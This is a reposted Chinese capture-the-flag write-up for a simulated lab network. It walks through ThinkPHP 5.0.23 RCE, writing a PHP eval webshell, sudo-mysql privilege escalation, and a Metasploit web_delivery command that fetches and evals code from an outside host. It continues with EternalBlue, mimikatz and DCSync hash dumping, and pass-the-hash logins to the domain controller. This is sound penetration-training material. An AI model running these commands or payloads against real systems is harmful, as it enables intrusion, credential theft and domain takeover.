首页 > 基础资料 博客日记

春秋云境 Initial 靶场 WP:ThinkPHP RCE → 内网横向 → 域控沦陷

2026-04-09 19:00:01基础资料围观1

文章春秋云境 Initial 靶场 WP:ThinkPHP RCE → 内网横向 → 域控沦陷分享给大家,欢迎收藏极客资料网,专注分享技术知识

正文开始前,在此夹带一点点“私货”:我最近动手搭了一个属于自己的个人博客!虽然目前还是个“毛坯房”,主题和排版还在慢慢打磨中(可能有些地方功能还不全面、甚至可能报错😅),但这毕竟是我在互联网上的独立小天地。这篇文章也同步归档在我的小站里,除了长篇 WP,我以后也会在那边发一些零碎的踩坑记录。欢迎大家来我的小站串门、挑错。
我的个人博客:https://beini-faxianl.github.io/

一、靶场介绍 & 环境信息

春秋云境 $\to$ 仿真场景 $\to$ 专业徽章 $\to$ Initial:

file-20260408200532812

开启场景后,给了一个 IP 地址:

  • 39.99.151.82

重要提醒:

由于我写 WP 并非一次性写完,而靶场一直开着会消耗沙砾(╯︿╰),每次重开靶场给的目标 IP 地址会有区别,请大家见谅。但是,内网地址都是稳定。

二、信息搜集

Rustscan 配合 Nmap 进行 TCP 全端口扫描 + 指纹识别 + 操作系统识别:

sudo rustscan -a 39.99.151.82 -r 1-65535 -- -sV -O -Pn -n -oA 39.99.151.82_TCP_Ports

结果信息:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

根据端口指纹可以判断对方的操作系统是 Ubuntu。

补一波 UDP 高价值端口(20个)扫描 + 指纹识别:

sudo nmap -sV -sU --top-ports 20 39.99.151.82 -Pn -n -oA 39.99.151.82_UDP_Ports

结果:

  • 所有端口的状态都是“open|filtered”

目前来看,处理 UDP 端口并不是最高的优先级,等 TCP 端口没有突破再回到 UDP 端口用特定的工具对高价值端口进行精细扫描。

根据上述信息搜集结果,最优先考虑的就是 80 端口了。

三、80 端口

1、假的登入界面

用浏览器访问:

file-20260408201919151

是一个登入界面,但是其功能并不完善:

  • 输入任意账户密码都是跳转到 /login.hrml,而目标上根本没有这个页面
  • “注册”功能也是假的,根本点不动

查看页面源码,看到注释信息中暴露了一个后端端口:

http://localhost:8080/powers/pow/regUsers"

直接访问:

http://39.99.151.82:8080/powers/pow/regUsers

但是访问不到:

file-20260408202528508

应该只有内网才能访问这个接口。

直接访问 8080 也是同样的结果。

2、目录爆破

既然没什么发现,扫一扫目录、爆一爆文件:

ffuf -u http://39.99.151.82/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php,.phtml,.html,.txt,.bak,.old,.swp -ac -recursion -recursion-depth 2
robots.txt
static
router.php 

访问 robots.txt,并没有用的内容:

User-agent: *
Disallow:

static 是一个目录,存在目录遍历漏洞:

file-20260408211334403

但是没什么有价值的信息。

router.php 应该是一个后端 API 通过 POST 或者 GET 传输进行路由导航,这个和之前看到的内网 API 信息泄露似乎有所对应,尝试爆破一下参数名,先 GET 传参:

ffuf -u "http://39.99.151.82/router.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0

POST 传参:

ffuf -u "http://39.99.151.82/router.php" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 200 -fs 0

都没有结果:

❯ ffuf -u "http://target/router.php" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 200 -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://target/router.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : FUZZ=test
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 0
________________________________________________

[WARN] Caught keyboard interrupt (Ctrl-C)


                                                                                                                                               
❯ ffuf -u "http://39.99.151.82/router.php" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 200 -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://39.99.151.82/router.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : FUZZ=test
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 0
________________________________________________

:: Progress: [6453/6453] :: Job [1/1] :: 760 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

3、ThinkPHP

在等扫描结果的时候,我发现这个网站的图标越看越舒徐,会不会用的某种常用框架?

查找页面源码没看到"ico"的信息,按 F12 $\to$ Network:

file-20260408205547465

可以发现 favicon.ico 就在根目录下,即“http://39.99.151.82/favicon.ico”。

用 Python 获取其 mmh3(MurmurHash3)值

import mmh3
import base64
import requests

resp = requests.get('http://39.99.151.82/favicon.ico')
hash = mmh3.hash(base64.encodebytes(resp.content))
print(hash)

输出:

1165838194

去数据库(https://wiki.owasp.org/index.php/OWASP_favicon_database)中查找:

file-20260408210029905

可惜并没有找到结果,换个工具:

observer_ward -t http://39.99.151.82/favicon.ico

结果:

observer_ward -t http://39.99.151.82/favicon.ico
 INFO 📇probes loaded: 3183
 INFO 🚀optimized probes: 9
 INFO 🎯target loaded: 1
🎯:[ http://39.99.151.82/favicon.ico [apache-http,thinkphp]  <> <0> (200 OK) ]      

原来是 ThinkPHP,在页面乱输入一通让其报错,看看是否有版本号。

Payload:

http://39.99.151.82/index.php?s=xxx/xxx/xxx

file-20260408210709319

版本号为 V5.0.23,Google 搜索一下 N-Day:

Dork:

V5.0.23 AND ThinkPHP AND Poc

找到结果:

https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.md

file-20260408212633645

响应:

file-20260408212733783

RCE 验证成功。

4、写入一句话木马

通过 Webshell 写入一句话木马,准备蚁剑连接。

先确认写入的为止,通过命令:

pwd

得知目前处于:

/var/www/html/

命令:

ls

输出:

favicon.ico
index.php
robots.txt
router.php
static

这就是我们之前扫描在根目录下发现的,换言之,我们只需要在 /var/www/html 目录中写入 shell.php,即可在根目录下访问该文件了。

payload:

echo '<?php @eval($_REQUEST["x"]);?>' > /var/www/html/shell.php

注意,这里有个坑,不要将命令写成:

echo "<?php @eval($_REQUEST['x']);?>" > /var/www/html/shell.php

我们在自己终端中可以尝试这条命令:

echo "<?php @eval($_REQUEST['x']);?>" > /tmp/shell.php

按道理说,shell.php 文件中应该写入了:

<?php @eval($_REQUEST['x']);?>

查看验证:

❯ echo "<?php @eval($_REQUEST['x']);?>" > /tmp/shell.php
zsh: bad math expression: operand expected at `'x''

报错了,为什么呢?

很简单,在 zsh(以及 bash)中,双引号 "..."$ 会触发变量展开,所以 $_REQUEST 被当作变量名解析,而 ['x'] 中的方括号又触发了数学表达式求值,最终报错。

解决方法就是用单引号包裹:

echo '<?php @eval($_REQUEST["x"]);?>' > /var/www/html/shell.php

单引号内 shell 不做任何展开,内容原样写入。

5、蚁剑连接

信息:

  • 网址:http://39.99.151.82/shell.php
  • 密码:x

连接成功:

file-20260408214710164

目前我们是 www-data 用户,权限很低,先简单信息搜集一下,后续找一下提权的方法:

(1)信息搜集

(www-data:/var/www/html) $ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:28:42:13 brd ff:ff:ff:ff:ff:ff
    inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0
       valid_lft 1892154016sec preferred_lft 1892154016sec
    inet6 fe80::216:3eff:fe28:4213/64 scope link 
       valid_lft forever preferred_lft forever

可以发现:

  • 本机的内网 IP:172.22.1.15
  • 内网网段:172.22.0.0/16
(www-data:/var/www/html) $ hostname && cat /etc/issue && uname -a && cat /etc/hosts
ubuntu-web01
Ubuntu 20.04.4 LTS \n \l
Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
127.0.0.1    localhost
# The following lines are desirable for IPv6 capable hosts
::1    localhost    ip6-localhost    ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
127.0.1.1    s02g07017.cloud.em160.tbsite.net    s02g07017
172.22.1.15    ubuntu-web01    ubuntu-web01
  • 架构:x86_64
  • OS:Ubuntu

查看内核的具体版本信息:

(www-data:/var/www/html) $ cat /proc/version
Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022

查看路由:

(www-data:/var/www/html) $ ip route show
default via 172.22.255.253 dev eth0 proto dhcp src 172.22.1.15 metric 100 
172.22.0.0/16 dev eth0 proto kernel scope link src 172.22.1.15 
172.22.255.253 dev eth0 proto dhcp scope link src 172.22.1.15 metric 100 
  • scope link 表示直连,说明本机直连内网环境(172.22.0.0/16)
  • default 表示默认路由(其他路由都不匹配的时候走这条),判断 172.22.255.253 应该就是内网的网关了

(2)提权

找找提权的相关信息:

  • sudo
  • SUID
  • PATH
  • ……

运气也是比较好,sudo 就是本题的正解。

过程如下:

先查看 sudo 列表:

sudo -l

输出:

Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql

无需密码即可使用 mysql 命令,通过网站(https://gtfobins.org/)查询提权命令:

file-20260409093653245

当然,我们无法直接通过 Webshell 返回一个 root 用户的终端,因为蚁剑、冰蝎这类 Webshell 管理工具它们只是模拟了一个类似终端的界面,本质还是通过 Webshell,一句命令,一句回显,无法实现交互式的命令。

网站给的 payload 即:

sudo mysql -e '\! /bin/sh'

就是通过 mysql 执行一个系统命令 /bin/sh,在正常终端就会返回 sh 这个 shell 的交互式界面,但是 Webshell 中就会失败。

但是,既然 mysql 具有 sudo 权限,即我们在 mysql 中执行的命令就是 root 权限执行的,因此无需追求交互式,只要命令执行,并且能回显就可以了。

测试:

(www-data:/var/www/html) $ sudo /usr/bin/mysql -e '\! whoami'
root

提权成功,并且能执行命令。

四、Fscan 内网信息搜集

1、上传 Fscan

上传 Fscan 打算收集内网的信息。

现在有个问题,目标是公网,我是学校私网环境,如何在我攻击机上下载 fscan 呢?

我刚好有一台未过期的 VPS,防火墙开放 4444 端口,建立反向代理:

ssh -R 0.0.0.0:4444:localhost:4444 <user>@<VPS_IP> -N

这个命令意思是,只要是连接 vps 的 4444 端口都会映射到我本地的 4444 端口。

在攻击机的 fscan 目录(我这里是 /usr/local/bin)下,用 python 开启简易 http 服务:

❯ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...

在蚁剑上执行 wget 命令下载 fscan:

wget http://<vps_ip>:4444/fscan

下载成功:

(www-data:/var/www/html) $ ls
favicon.ico
fscan
index.php
robots.txt
router.php
shell.php
static

赋予执行权限(注意,赋予执行权限可能需要 root 权限,用之前的提权命令):

sudo /usr/bin/mysql -e '\! chmod +x fscan'

2、上线 MSF

fscan 扫描需要时间,而 webshell 执行命令本质上是一次性的 HTTP 请求,请求结束进程就被杀掉,根本等不了很长的时间。

经过尝试,理论上可以通过 sudo--mysql 提权直接返回一个 root 用户的 session,但是失败次数比成功次数多,因此打算先获得 www-data 的 shell,提权后再获得 root 的 shell。

使用 MSF 的 multi/script/web_delivery 模块:

use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target PHP
msf exploit(multi/script/web_delivery) > set LHOST <VPS_IP>
msf exploit(multi/script/web_delivery) > set SRVPORT 6666
msf exploit(multi/script/web_delivery) > set payload payload/php/meterpreter/reverse_tcp

注意也需要配置 VPS 反向代理,并且开放防火墙。

run 之后就能得到命令,复制到之前的蚁剑终端或者直接 Burp POST 传输都可以,执行成功后会获得一个 www-data 用户的 session:

msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 118.31.3.148:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
msf exploit(multi/script/web_delivery) > [*] Using URL: http://118.31.3.148:6666/2pHiURSe
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://118.31.3.148:6666/2pHiURSe', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
[*] 127.0.0.1        web_delivery - Delivering Payload (1113 bytes)
[*] Sending stage (42137 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:35504) at 2026-04-09 16:14:56 +0800

msf exploit(multi/script/web_delivery) > sessions 

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter php/linux  www-data @ ubuntu-web01  127.0.0.1:4444 -> 127.0.0.1:35504 (127.0.0.1)

进入该 session:

sessions -i 1

切换成 shell:

meterpreter > shell

查看是否有 paython:

python3 --version
Python 3.8.10

可以用 python 实施 shell 稳定化操作,输入:

python3 -c 'import pty;pty.spawn("/bin/bash")'

效果:

file-20260409162240499

提权:

sudo mysql -e '\! /bin/bash'

file-20260409162329742

提权成功。

现在就可以重复之前的操作返回一个 root 用户的 session 了。

这里省略相关步骤,因为步骤是重复的。

直接上结果:

msf exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information          Connection
  --  ----  ----                   -----------          ----------
  1         meterpreter x64/linux  root @ ubuntu-web01  127.0.0.1:6667 -> 127.0.0.1:42104 (127.0.0.1)

3、内网扫描

通过之前的信息搜集,我们知道这台主机是拥有内网的直连路由的,所以直接用之前上传的 fscan 扫描即可,命令:

./fscan -h 172.22.0.0/16 
./fscan -h 172.22.0.0/16   

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
(icmp) Target 172.22.255.253  is alive
[*] LiveTop 172.22.0.0/16    段存活数量为: 5
[*] LiveTop 172.22.1.0/24    段存活数量为: 4
[*] Icmp alive hosts len is: 5
[*] LiveTop 172.22.255.0/24  段存活数量为: 1
172.22.1.18:80 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.2:88 open
172.22.1.18:3306 open
[*] alive ports len is: 12
start vulscan
[*] NetInfo 
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo 
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] MS17-010 172.22.1.21        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo 
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] OsInfo 172.22.1.2   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.2      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
已完成 12/12
[*] 扫描结束,耗时: 14.805592089s

172.22.255.253 就是我们之前分析出的路由,不把他列为分析对象。

(1)172.22.1.21

端口开放情况:

  • 445
  • 135
  • 139

主机名:XIAORANG-WIN7

$\to$ 说明是一个域环境。

关键:fscan 的漏洞扫描得到该主机存在 MS-010(永恒之蓝漏洞)

域名:xiaorang.lab

OS 指纹信息:Windows Server 2008 R2 Enterprise 7601 Service Pack 1

(2)172.22.1.18

端口开放情况:

  • 80(扫描结果还显示,这是一个“信呼协同办公系统”,是一个)
  • 139
  • 135
  • 445
  • 3306

主机名:XIAORANG-OA01

域名:xiaorang.lab

OS 指纹信息:Windows Server 2012 R2 Datacenter 9600

(3)172.22.1.2

是域控(DC:DC01.xiaorang.lab)

主机名:DC01

端口开放情况:

  • 445
  • 80
  • 88
  • 135
  • 139

OS 指纹: Windows Server 2016 Datacenter 14393

4、画图建议

随着主机的越来越多,靠脑子和电子笔记记录有点不太够用了,建议画图,我这里用的是 Obsidian
的 Excalidraw 插件:

file-20260409165945729

五、MS17-010

既然扫描出漏洞,而且是高危,他的优先级肯定是最高的,在利用之前,先建立内网路由和代理。

1、建立路由和代理

路由:

meterpreter > run autoroute -s 172.22.0.0/16
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.22.0.0/255.255.0.0...
[+] Added route to 172.22.0.0/255.255.0.0 via 127.0.0.1
[*] Use the -p option to list all active routes

socks 5 代理:

先退回到 msf>

meterpreter > bg

建立代理:

msf exploit(multi/script/web_delivery) > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 
SRVHOST => 127.0.0.1
msf auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf auxiliary(server/socks_proxy) > set VERSION 5 
VERSION => 5
msf auxiliary(server/socks_proxy) > run -j  
[*] Auxiliary module running as background job 1.
msf auxiliary(server/socks_proxy) > job
[*] Starting the SOCKS proxy server

2、使用永恒之蓝模块

接下来就是模块打永恒之蓝:

use windows/smb/ms17_010_eternalblue

并且我们采用 bind shell 的方式(因为内网无回连我们攻击机的路由):

set payload payload/windows/x64/meterpreter/bind_tcp
set RHOST 172.22.1.21

run 之后就能得到该主机的 meterpreter shell 了。

永恒之蓝本身就不是很稳定,有几率让目标蓝屏,因此如果不行的话可以多尝试几次。

查看权限:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

直接就是最高权限。

3、信息搜集

(1)凭证抓取

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all 
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username        Domain    NTLM                              SHA1
--------        ------    ----                              ----
XIAORANG-WIN7$  XIAORANG  859b0204ee21404be2bf8c1ff14ca648  8bf9878df010ee424028727f40e5b96d69307814

wdigest credentials
===================

Username        Domain    Password
--------        ------    --------
(null)          (null)    (null)
XIAORANG-WIN7$  XIAORANG  9a a6 4e 6b 23 4e eb e8 72 9a 5c 8b 83 71 9b 2b 1a 92 cf 7b d4 d3 4c d0 1e db 31 fd 98 bc 64 47 55 85 7b 38 e0 63 b9
                           84 5e 9b 01 8e 69 ec e5 7b d7 41 29 bf b8 61 c8 91 e9 e8 2f 7b e2 d0 27 81 45 d2 fe 7a dd fa 23 6f 95 92 60 f5 cc 9
                          a 28 c6 be 5a 83 73 ee 54 66 73 1e d4 af 7f 3d ca 02 43 3c 98 62 da 86 7e 29 7b 16 2c 8e 1b e6 2a 9b 3d bc 4c 8b 69
                          79 1f 9f 20 03 ae 0d 24 4b 96 66 f4 23 6e 09 4a d2 a1 31 ca 49 1b 9a a2 43 f5 99 23 0e 7a 39 ca 65 4d 8f 2a bb 55 f3
                           1e 62 ad c9 0b 24 e4 b0 a5 1e cd 81 67 d5 83 6d 4c 48 5c 8d aa dc 2f d6 47 ab 9b c9 1a 0f 6f 3a 19 36 d6 dc ec 00 c
                          b 76 ae 1f 0a 5c 18 40 1d b3 cc 35 71 bf 32 a0 c3 bd 0f 6b 54 e9 59 01 0e 99 44 23 00 e6 78 a3 95 5c 32 97 34 4f 14
                          70 49 27 4c e9 29 17 9d

kerberos credentials
====================

Username        Domain        Password
--------        ------        --------
(null)          (null)        (null)
xiaorang-win7$  XIAORANG.LAB  9a a6 4e 6b 23 4e eb e8 72 9a 5c 8b 83 71 9b 2b 1a 92 cf 7b d4 d3 4c d0 1e db 31 fd 98 bc 64 47 55 85 7b 38 e0 6
                              3 b9 84 5e 9b 01 8e 69 ec e5 7b d7 41 29 bf b8 61 c8 91 e9 e8 2f 7b e2 d0 27 81 45 d2 fe 7a dd fa 23 6f 95 92 60
                               f5 cc 9a 28 c6 be 5a 83 73 ee 54 66 73 1e d4 af 7f 3d ca 02 43 3c 98 62 da 86 7e 29 7b 16 2c 8e 1b e6 2a 9b 3d
                              bc 4c 8b 69 79 1f 9f 20 03 ae 0d 24 4b 96 66 f4 23 6e 09 4a d2 a1 31 ca 49 1b 9a a2 43 f5 99 23 0e 7a 39 ca 65 4
                              d 8f 2a bb 55 f3 1e 62 ad c9 0b 24 e4 b0 a5 1e cd 81 67 d5 83 6d 4c 48 5c 8d aa dc 2f d6 47 ab 9b c9 1a 0f 6f 3a
                               19 36 d6 dc ec 00 cb 76 ae 1f 0a 5c 18 40 1d b3 cc 35 71 bf 32 a0 c3 bd 0f 6b 54 e9 59 01 0e 99 44 23 00 e6 78
                              a3 95 5c 32 97 34 4f 14 70 49 27 4c e9 29 17 9d

只抓到本机的,尝试一下伪装 DC 与 DC 同步数据来窃取凭证:

meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv"
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  fb812eea13a18b7fcdb8e6d67ddc205b        514
1106    Marcus  e07510a4284b3c97c8e7dee970918c5c        512
1107    Charles f6a9881cd5ae709abb4ac9ab87f24617        512
1000    DC01$   5867d8e783a85f4316dc8c1ffcd90f8f        532480
500     Administrator   10cf89a850fb1cdbe6bb432b859164c8        512
1104    XIAORANG-OA01$  c7b6d38565056b104fcfcd0f2dbb4c99        4096
1108    XIAORANG-WIN7$  859b0204ee21404be2bf8c1ff14ca648        4096

欺骗成功。

成功的原理值得探讨一下:

拆解一下命令:

部分 含义
lsadump::dcsync mimikatz 的 DCSync 攻击模块,模拟域控同步请求
/domain:xiaorang.lab 指定目标域
/all 导出域内所有用户的 hash
/csv 以 CSV 格式输出,更易读

原理:正常情况下两台域控之间会定期同步数据(包括用户密码 hash),DCSync 就是伪装成域控向真实域控发送同步请求,骗取所有用户的 NTLM hash,整个过程不需要登录域控也不需要在域控上落地文件,非常隐蔽。

但是能成功也需要有个重要前提:执行账户需要有 DS-Replication-Get-Changes 权限,默认域管、Enterprise Admins、域控机器账户才有。我们的主机是 SYSTEM 权限且在域内,所以能成功。

六、域控登入

拿之前抓到的凭证登入域控:

proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py xiaorang.lab/administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8

登入后直接搜索 flag:

dir flag* /s

file-20260409174318634

此时才发现靶场给的提示:

file-20260409174340936

这里是 03(且是最后一个),那么说明别的其他机子上也有 flag,之前忘记读取了。

其中一个在入口靶机上(即一开始打下来的那个 Ubuntu),现在找另一个。

七、172.22.1.18

之前 DC 欺骗其实把这台靶机的凭证也输出了,因此直接登入:

proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py xiaorang.lab/administrator@172.22.1.18 -hashes :10cf89a850fb1cdbe6bb432b859164c8

老样子查找 flag:

file-20260409174945768

成功。

结合 flag01、flag02、flag03,凭借起来就是完整的 flag。

八、非预期解

如果有人先打的 172.22.1.18,就可能会发现这个非预期解。这里简单讲述一下。

登入 80 后,就可以看到信呼 OA 的具体版本:

file-20260409175630641

搜索之后,能知道有一个:未授权任意文件上传 RCE(Nday)

但是前提是登入管理员界面,通过 Burp 弱密码爆破之后,得到账号与密码:

  • 账号:admin
  • 密码:admin123

登入之后,里面有个文件上传功能:

file-20260409175816588

可以直接上传一句话木马,并且在响应页面中有存放路径,但是它会将你的文件后缀改成其他的。

这里又有一个漏洞,就是文件后缀修改漏洞:

http://172.22.1.18/task.php?m=qcloudCos|runt&a=run&fileid=<之前看到的文件id>

这样就可以正常访问木马文件了,并且得到的权限是 SYSTEM,后续就是找 Flag,再找域控的麻烦。

祝大家打靶顺利!


文章来源:https://www.cnblogs.com/youdiscovered1t/p/19842672
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云